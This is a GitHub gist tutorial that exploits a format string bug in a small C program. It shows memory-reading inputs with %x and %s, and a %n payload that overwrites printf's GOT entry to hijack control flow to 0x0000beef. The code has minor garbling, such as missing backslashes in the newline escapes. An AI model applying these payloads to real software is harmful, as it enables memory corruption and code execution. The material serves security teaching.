Skip to content

Instantly share code, notes, and snippets.

@evandrix
Created July 6, 2011 21:55
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save evandrix/1068445 to your computer and use it in GitHub Desktop.
Save evandrix/1068445 to your computer and use it in GitHub Desktop.
Writing to Memory
Exploiting format string vulnerabilities is all about providing input that uses a format character that expects its value to be passed by reference and you control that reference. I used ‘%s’ to read from memory. I’m going to use %n to write to memory.
%n Number of characters written by this printf.
Lucky for us, there is a really easy way to control the number of characters written by printf. When you specify a format character, you can optionally give it an integer for the width of the format character.
%#x Number of characters prepended as padding.
We can use this to control how many characters are written by printf.
If you’re following at this point, you’re probably wondering how we’re going to use %n to write to memory. We can use %n to write the integer value of our 4 byte target address one byte at a time.
We can write the lower order bits and shift the target address by a byte, utilizing width padding characters to control the integer value we write to a given byte.
Target = 0xAAAA1111
0xAAAA1111 = <int>
0xAAAA1112 = <int>
0xAAAA1113 = <int>
0xAAAA1114 = <int>
If we can overwrite an address, we can control the flow of execution. Let’s overwrite the address of printf! First we need to find the address for printf
nobody@nobody:~$ objdump -R ./text_to_print
...
08049660 R_386_JUMP_SLOT printf
...
Next we need to craft a string to overwrite this address using %n and width padding. We’ll also use printf’s ability to argument swap:
One can also specify explicitly which argument is taken
by writing '%m$' instead of '%'
Lastly, instead of writing a byte at a time, we can use printf’s ‘length modifier’ to tell printf what type it’s writing %n too. We’ll use ‘l’ (ell) for long unsigned int.
0x0000beef seems like a good address to overwrite printf with since everyone loves beef! Our input will be a 4 byte address (to printf) and the decimal value of beef – 4 (to accommodate the length of the address) = 48875.
Here’s what It looks like when we run it (note we have to escape the $ with a for the shell):
nobody@nobody:~$ ./text_to_print $(python -c 'print "\x60\x96\x04\x08"')%48875x%4$ln
Program received signal SIGSEGV, Segmentation fault.
0x0000beef in ?? ()
You can see that the program tried to jump to 0x0000beef and crashed!
nobody@nobody:~$ ./text_to_print "Hello World!"
Hello World!
nobody@nobody:~$ ./text_to_print "AAAA %x %x %x %x"
AAAA bffff9ba 3f0 0 41414141
nobody@nobody:~$ ./text_to_print $(printf "\x34\xf8\xff\xbf")%08x%08x%08x%s
4���bffff9b5+000003eb+00000000+
nobody@nobody:~$ ./text_to_print $(printf "\x34\xf8\xff\xbf")$(python -c 'print "%08x+"*3')%s
4���bffff9b5+000003eb+00000000+
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
if(argc < 2) {
printf("Usage: <text to print>n", argv[0]);
exit(0);
}
strncpy(text, argv[1], 1024);
printf(text); // <= should be printf("%s", text);
printf("n");
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment